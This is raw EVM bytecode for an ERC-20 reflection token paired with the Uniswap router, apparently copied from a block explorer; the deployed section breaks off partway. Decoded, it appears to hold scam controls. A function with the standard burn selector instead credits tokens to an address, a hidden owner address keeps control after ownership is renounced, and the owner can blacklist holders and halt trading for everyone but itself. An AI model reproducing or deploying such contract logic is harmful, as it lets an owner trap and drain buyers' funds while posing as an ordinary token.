81111562000c365762000c35620009b5565b5b62000c42825462000a0f565b62000c4f82828562000b78565b5f60209050601f83116001811462000c85575f841562000c70578287015190505b62000c7c858262000bf2565b86555062000ceb565b601f19841662000c958662000a43565b5f5b8281101562000cbe5784890151825560018201915060208501945060208101905062000c97565b8683101562000cde578489015162000cda601f89168262000bd4565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000d228262000cf7565b9050919050565b62000d348162000d16565b811462000d3f575f80fd5b50565b5f8151905062000d528162000d29565b92915050565b5f806040838503121562000d715762000d7062000cf3565b5b5f62000d808582860162000d42565b925050602062000d938582860162000d42565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000dd68262000ac5565b915062000de38362000ac5565b92508262000df65762000df562000d9d565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f62000e3a8262000ac5565b915062000e478362000ac5565b925082820390508181111562000e625762000e6162000e01565b5b92915050565b62000e738162000ac5565b82525050565b5f60208201905062000e8e5f83018462000e68565b92915050565b5f82825260208201905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f62000f00602a8362000e94565b915062000f0d8262000ea4565b604082019050919050565b5f6020820190508181035f83015262000f318162000ef2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f62000f718262000ac5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820362000fa65762000fa562000e01565b5b600182019050919050565b5f5b8381101562000fd057808201518184015260208101905062000fb3565b5f8484015250505050565b5f601f19601f8301169050919050565b5f62000ff782620009ab565b62001003818562000e94565b93506200101581856020860162000fb1565b620010208162000fdb565b840191505092915050565b5f6020820190508181035f83015262001045818462000feb565b905092915050565b5f620010598262000ac5565b9150620010668362000ac5565b92508262001079576200107862000d9d565b5b828204905092915050565b612cae80620010925f395ff3fe608060405234801561000f575f80fd5b506004361061014b575f3560e01c80635ff1b181116100c1578063a457c2d71161007a578063a457c2d7146103a1578063a9059cbb146103d1578063a9ddeaa214610401578063dd62ed3e1461041d578063ebad8f161461044d578063f1ac4328146104575761014b565b80635ff1b181146102f157806370a082311461030f578063715018a61461033f5780638da5cb5b1461034957806395d89b41146103675780639dc29fac146103855761014b565b806323b872dd1161011357806323b872dd146101f55780632d3e69ea146102255780632d83811914610243578063313ce5671461027357806339509351146102915780634549b039146102c15761014b565b8063053ab1821461014f57806306fdde031461016b578063081d2b3c14610189578063095ea7b3146101a757806318160ddd146101d7575b5f80fd5b61016960048036038101906101649190611f14565b610487565b005b6101736105f8565b6040516101809190611fc9565b60405180910390f35b610191610688565b60405161019e9190612028565b60405180910390f35b6101c160048036038101906101bc919061206b565b6106ad565b6040516101ce91906120c3565b60405180910390f35b6101df6106ca565b6040516101ec91906120eb565b60405180910390f35b61020f600480360381019061020a9190612104565b6106da565b60405161021c91906120c3565b60405180910390f35b61022d6107ae565b60405161023a91906120c3565b60405180910390f35b61025d60048036038101906102589190611f14565b6107c3565b60405161026a91906120eb565b60405180910390f35b61027b61082f565b604051610288919061216f565b60405180910390f35b6102ab60048036038101906102a6919061206b565b610844565b6040516102b891906120c3565b60405180910390f35b6102db60048036038101906102d691906121b2565b6108f2565b6040516102e891906120eb565b60405180910390f35b6102f9610978565b60405161030691906120eb565b60405180910390f35b610329600480360381019061032491906121f0565b610981565b60405161033691906120eb565b60405180910390f35b6103476109c7565b005b610351610a89565b60405161035e9190612028565b60405180910390f35b61036f610ab0565b60405161037c9190611fc9565b60405180910390f35b61039f600480360381019061039a919061206b565b610b40565b005b6103bb60048036038101906103b6919061206b565b610bdd565b6040516103c891906120c3565b60405180910390f35b6103eb60048036038101906103e6919061206b565b610ca5565b6040516103f891906120c3565b60405180910390f35b61041b6004803603810190610416919061235b565b610cc2565b005b610437600480360381019061043291906123b5565b610e11565b60405161044491906120eb565b60405180910390f35b610455610e93565b005b610471600480360381019061046c91906121f0565b610ef0565b60405161047e91906120c3565b60405180910390f35b5f610490610f42565b905060065f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561051c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051390612463565b60405180910390fd5b5f61052683610f49565b50505050905061057c8160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f9a90919063ffffffff16565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506105d281600b54610f9a90919063ffffffff16565b600b819055506105ed83600954610fe390919063ffffffff16565b600981905550505050565b6060600e8054610607906124ae565b80601f0160208091040260200160405190810160405280929190818152602001828054610633906124ae565b801561067e5780601f106106555761010080835404028352916020019161067e565b820191905f5260205f20905b81548152906001019060200180831161066157829003601f168201915b5050505050905090565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6106c06106b9610f42565b8484611040565b6001905092915050565b5f686c6b935b8bbd400000905090565b5f6106e6848484611203565b6107a3846106f2610f42565b61079e85604051806060016040528060288152602001612c2c6028913960055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610755610f42565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118929092919063ffffffff16565b611040565b600190509392505050565b5f600a5f9054906101000a900460ff16905090565b5f600b54821115610809576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108009061254e565b60405180910390fd5b5f6108126118f4565b9050610827818461191d90919063ffffffff16565b915050919050565b5f60105f9054906101000a900460ff16905090565b5f6108e8610850610f42565b846108e38560055f610860610f42565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610fe390919063ffffffff16565b611040565b6001905092915050565b5f686c6b935b8bbd40000083111561093f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610936906125b6565b60405180910390fd5b8161095d575f61094e84610f49565b50505050905080915050610972565b5f61096784610f49565b505050915050809150505b92915050565b5f600954905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109cf611966565b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600f8054610abf906124ae565b80601f0160208091040260200160405190810160405280929190818152602001828054610aeb906124ae565b8015610b365780601f10610b0d57610100808354040283529160200191610b36565b820191905f5260205f20905b815481529060010190602001808311610b1957829003601f168201915b5050505050905090565b610b48611966565b610b988160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610fe390919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f610c9b610be9610f42565b84610c9685604051806060016040528060258152602001612c546025913960055f610c12610f42565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118929092919063ffffffff16565b611040565b6001905092915050565b5f610cb8610cb1610f42565b8484611203565b6001905092915050565b610cca611966565b5f5b8251811015610e0c578160085f858481518110610cec57610ceb6125d4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055507fcb369df5102bf3c458da6dad9b3cb8035e1e47d594f6c43cecbe95e1709c14c2838281518110610d7757610d766125d4565b5b602002602001015160085f868581518110610d9557610d946125d4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16604051610df1929190612601565b60405180910390a18080610e0490612655565b915050610ccc565b505050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e9b611966565b60011515600a5f9054906101000a900460ff16151503610ed3575f600a5f6101000a81548160ff021916908315150217905550610eee565b6001600a5f6101000a81548160ff0219169083151502179055505b565b5f60085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f33905090565b5f805f805f805f610f59886119e4565b915091505f610f666118f4565b90505f805f610f768c8686611a34565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b5f610fdb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611892565b905092915050565b5f808284610ff1919061269c565b905083811015611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d90612719565b60405180910390fd5b8091505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a5906127a7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361111c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111390612835565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f691906120eb565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611271576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611268906128c3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d690612951565b60405180910390fd5b5f8111611321576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611318906129df565b60405180910390fd5b60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156113b3575f81146113b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a990612a20565b60405180910390fd5b5b60011515600a5f9054906101000a900460ff161515148061140657506113d7610a89565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806114435750611414610a89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156118375760065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156114e5575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156116905761155481604051806060016040528060268152602001612c066026913960025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118929092919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506115e58160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610fe390919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161168391906120eb565b60405180910390a3611832565b6116fa81604051806060016040528060268152602001612c066026913960025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118929092919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061178b8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610fe390919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161182991906120eb565b60405180910390a35b61188d565b60011515600a5f9054906101000a900460ff1615151461188c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188390612a20565b60405180910390fd5b5b505050565b5f8383111582906118d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d09190611fc9565b60405180910390fd5b505f83856118e79190612a3e565b9050809150509392505050565b5f805f6118ff611a8e565b91509150611916818361191d90919063ffffffff16565b9250505090565b5f61195e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d45565b905092915050565b61196e610f42565b73ffffffffffffffffffffffffffffffffffffffff1661198c611da6565b73ffffffffffffffffffffffffffffffffffffffff16146119e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d990612abb565b60405180910390fd5b565b5f805f611a0f6103e8611a01600287611db990919063ffffffff16565b61191d90919063ffffffff16565b90505f611a258286610f9a90919063ffffffff16565b90508082935093505050915091565b5f805f80611a4b8588611db990919063ffffffff16565b90505f611a618688611db990919063ffffffff16565b90505f611a778284610f9a90919063ffffffff16565b905082818395509550955050505093509350939050565b5f805f600b5490505f686c6b935b8bbd40000090505f5b600780549050811015611cfa578260035f60078481548110611aca57611ac96125d4565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541180611baf57508160045f60078481548110611b4b57611b4a6125d4565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054115b15611bcd57600b54686c6b935b8bbd40000094509450505050611d41565b611c5860035f60078481548110611be757611be66125d4565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205484610f9a90919063ffffffff16565b9250611ce560045f60078481548110611c7457611c736125d4565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205483610f9a90919063ffffffff16565b91508080611cf290612655565b915050611aa5565b50611d19686c6b935b8bbd400000600b5461191d90919063ffffffff16565b821015611d3857600b54686c6b935b8bbd400000935093505050611d41565b81819350935050505b9091565b5f8083118290611d8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d829190611fc9565b60405180910390fd5b505f8385611d999190612b06565b9050809150509392505050565b5f80611db0611e30565b90508091505090565b5f808303611dc9575f9050611e2a565b5f8284611dd69190612b36565b9050828482611de59190612b06565b14611e25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1c90612be7565b60405180910390fd5b809150505b92915050565b5f8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ea8575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611ecb565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f604051905090565b5f80fd5b5f80fd5b5f819050919050565b611ef381611ee1565b8114611efd575f80fd5b50565b5f81359050611f0e81611eea565b92915050565b5f60208284031215611f2957611f28611ed9565b5b5f611f3684828501611f00565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611f76578082015181840152602081019050611f5b565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611f9b82611f3f565b611fa58185611f49565b9350611fb5818560208601611f59565b611fbe81611f81565b840191505092915050565b5f6020820190508181035f830152611fe18184611f91565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61201282611fe9565b9050919050565b61202281612008565b82525050565b5f60208201905061203b5f830184612019565b92915050565b61204a81612008565b8114612054575f80fd5b50565b5f8135905061206581612041565b92915050565b5f806040838503121561208157612080611ed9565b5b5f61208e85828601612057565b925050602061209f85828601611f00565b9150509250929050565b5f8115159050919050565b6120bd816120a9565b82525050565b5f6020820190506120d65f8301846120b4565b92915050565b6120e581611ee1565b82525050565b5f6020820190506120fe5f8301846120dc565b92915050565b5f805f6060848603121561211b5761211a611ed9565b5b5f61212886828701612057565b935050602061213986828701612057565b925050604061214a86828701611f00565b9150509250925092565b5f60ff82169050919050565b61216981612154565b82525050565b5f6020820190506121825f830184612160565b92915050565b612191816120a9565b811461219b575f80fd5b50565b5f813590506121ac81612188565b92915050565b5f80604083850312156121c8576121c7611ed9565b5b5f6121d585828601611f00565b92505060206121e68582860161219e565b9150509250929050565b5f6020828403121561220557612204611ed9565b5b5f61221284828501612057565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61225582611f81565b810181811067ffffffffffffffff821117156122745761227361221f565b5b80604052505050565b5f612286611ed0565b9050612292828261224c565b919050565b5f67ffffffffffffffff8211156122b1576122b061221f565b5b602082029050602081019050919050565b5f80fd5b5f6122d86122d384612297565b61227d565b905080838252602082019050602084028301858111156122fb576122fa6122c2565b5b835b8181101561232457806123108882612057565b8452602084019350506020810190506122fd565b5050509392505050565b5f82601f8301126123425761234161221b565b5b81356123528482602086016122c6565b91505092915050565b5f806040838503121561237157612370611ed9565b5b5f83013567ffffffffffffffff81111561238e5761238d611edd565b5b61239a8582860161232e565b92505060206123ab8582860161219e565b9150509250929050565b5f80604083850312156123cb576123ca611ed9565b5b5f6123d885828601612057565b92505060206123e985828601612057565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c20745f8201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b5f61244d602c83611f49565b9150612458826123f3565b604082019050919050565b5f6020820190508181035f83015261247a81612441565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806124c557607f821691505b6020821081036124d8576124d7612481565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f612538602a83611f49565b9150612543826124de565b604082019050919050565b5f6020820190508181035f8301526125658161252c565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c79005f82015250565b5f6125a0601f83611f49565b91506125ab8261256c565b602082019050919050565b5f6020820190508181035f8301526125cd81612594565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6040820190506126145f830185612019565b61262160208301846120b4565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61265f82611ee1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361269157612690612628565b5b600182019050919050565b5f6126a682611ee1565b91506126b183611ee1565b92508282019050808211156126c9576126c8612628565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612703601b83611f49565b915061270e826126cf565b602082019050919050565b5f6020820190508181035f830152612730816126f7565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612791602483611f49565b915061279c82612737565b604082019050919050565b5f6020820190508181035f8301526127be81612785565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61281f602283611f49565b915061282a826127c5565b604082019050919050565b5f6020820190508181035f83015261284c81612813565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6128ad602583611f49565b91506128b882612853565b604082019050919050565b5f6020820190508181035f8301526128da816128a1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61293b602383611f49565b9150612946826128e1565b604082019050919050565b5f6020820190508181035f8301526129688161292f565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6129c9602983611f49565b91506129d48261296f565b604082019050919050565b5f6020820190508181035f8301526129f6816129bd565b9050919050565b50565b5f612a0b5f83611f49565b9150612a16826129fd565b5f82019050919050565b5f6020820190508181035f830152612a3781612a00565b9050919050565b5f612a4882611ee1565b9150612a5383611ee1565b9250828203905081811115612a6b57612a6a612628565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612aa5602083611f49565b9150612ab082612a71565b602082019050919050565b5f6020820190508181035f830152612ad281612a99565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612b1082611ee1565b9150612b1b83611ee1565b925082612b2b57612b2a612ad9565b5b828204905092915050565b5f612b4082611ee1565b9150612b4b83611ee1565b9250828202612b5981611ee1565b91508282048414831517612b7057612b6f612628565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612bd1602183611f49565b9150612bdc82612b77565b604082019050919050565b5f6020820190508181035f830152612bfe81612bc5565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203fc77a5438682cd000648f27c56089fa227d1fea42fb9a86df29f2112348363d64736f6c634300081400330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000008dba3de09cf931222ed06892ab708698297963a6

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061014b575f3560e01c80635ff1b181116100c1578063a457c2d71161007a578063a457c2d7146103a1578063a9059cbb146103d1578063a9ddeaa214610401578063dd62ed3e1461041d578063ebad8f161461044d578063f1ac4328146104575761014b565b80635ff1b181146102f157806370a082311461030f578063715018a61461033f5780638da5cb5b1461034957806395d89b41146103675780639dc29fac146103855761014b565b806323b872dd1161011357806323b872dd146101f55780632d3e69ea146102255780632d83811914610243578063313ce5671461027357806339509351146102915780634549b039146102c15761014b565b8063053ab1821461014f57806306fdde031461016b578063081d2b3c14610189578063095ea7b3146101a757806318160ddd146101d7575b5f80fd5b61016960048036038101906101649190611f14565b610487565b005b6101736105f8565b6040516101809190611fc9565b60405180910390f35b610191610688565b60405161019e9190612028565b60405180910390f35b6101c160048036038101906101bc919061206b565b6106ad565b6040516101ce91906120c3565b60405180910390f35b6101df6106ca565b6040516101ec91906120eb565b60405180910390f35b61020f600480360381019061020a9190612104565b6106da565b60405161021c91906120c3565b60405180910390f35b61022d6107ae565b60405161023a91906120c3565b60405180910390f35b61025d60048036038101906102589190611f14565b6107c3565b60405161026a91906120eb565b60405180910390f35b61027b61082f565b604051610288919061216f565b60405180910390f35b6102ab60048036038101906102a6919061206b565b610844565b6040516102b891906120c3565b60405180910390f35b6102db60048036038101906102d691906121b2565b6108f2565b6040516102e891906120eb565b60405180910390f35b6102f9610978565b60405161030691906120eb565b60405180910390f35b610329600480360381019061032491906121f0565b610981565b60405161033691906120eb565b60405180910390f35b6103476109c7565b005b610351610a89565b60405161035e9190612028565b60405180910390f35b61036f610ab0565b60405161037c9190611fc9565b60405180910390f35b61039f600480360381019061039a919061206b565b610b40565b005b6103bb60048036038101906103b6919061206b565b610bdd565b6040516103c891906120c3565b60405180910390f35b6103eb60048036038101906103e6919061206b565b610ca5565b6040516103f891906120c3565b60405180910390f35b61041b6004803603810190610416919061235b565b610cc2565b005b610437600480360381019061043291906123b5565b610e11565b60405161044491906120eb565b60405180910390f35b610455610e93565b005b610471600480360381019061046c91906121f0565b610ef0565b60405161047e91906120c3565b60405180910390f35b5f610490610f42565b905060065f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561051c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051390612463565b60405180910390fd5b5f61052683610f49565b50505050905061057c8160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f9a90919063ffffffff16565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506105d281600b54610f9a90919063ffffffff16565b600b819055506105ed83600954610fe390919063ffffffff16565b600981905550505050565b6060600e8054610607906124ae565b80601f0160208091040260200160405190810160405280929190818152602001828054610633906124ae565b801561067e5780601f106106555761010080835404028352916020019161067e565b820191905f5260205f20905b81548152906001019060200180831161066157829003601f168201915b5050505050905090565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6106c06106b9610f42565b8484611040565b6001905092915050565b5f686c6b935b8bbd400000905090565b5f6106e6848484611203565b6107a3846106f2610f42565b61079e85604051806060016040528060288152602001612c2c6028913960055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610755610f42565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118929092919063ffffffff16565b611040565b600190509392505050565b5f600a5f9054906101000a900460ff16905090565b5f600b54821115610809576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108009061254e565b60405180910390fd5b5f6108126118f4565b9050610827818461191d90919063ffffffff16565b915050919050565b5f60105f9054906101000a900460ff16905090565b5f6108e8610850610f42565b846108e38560055f610860610f42565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610fe390919063ffffffff16565b611040565b6001905092915050565b5f686c6b935b8bbd40000083111561093f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610936906125b6565b60405180910390fd5b8161095d575f61094e84610f49565b50505050905080915050610972565b5f61096784610f49565b505050915050809150505b92915050565b5f600954905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109cf611966565b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600f8054610abf906124ae565b80601f0160208091040260200160405190810160405280929190818152602001828054610aeb906124ae565b8015610b365780601f10610b0d57610100808354040283529160200191610b36565b820191905f5260205f20905b815481529060010190602001808311610b1957829003601f168201915b5050505050905090565b610b48611966565b610b988160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610fe390919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f610c9b610be9610f42565b84610c9685604051806060016040528060258152602001612c546025913960055f610c12610f42565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118929092919063ffffffff16565b611040565b6001905092915050565b5f610cb8610cb1610f42565b8484611203565b6001905092915050565b610cca611966565b5f5b8251811015610e0c578160085f858481518110610cec57610ceb6125d4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055507fcb369df5102bf3c458da6dad9b3cb8035e1e47d594f6c43cecbe95e1709c14c2838281518110610d7757610d766125d4565b5b602002602001015160085f868581518110610d9557610d946125d4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a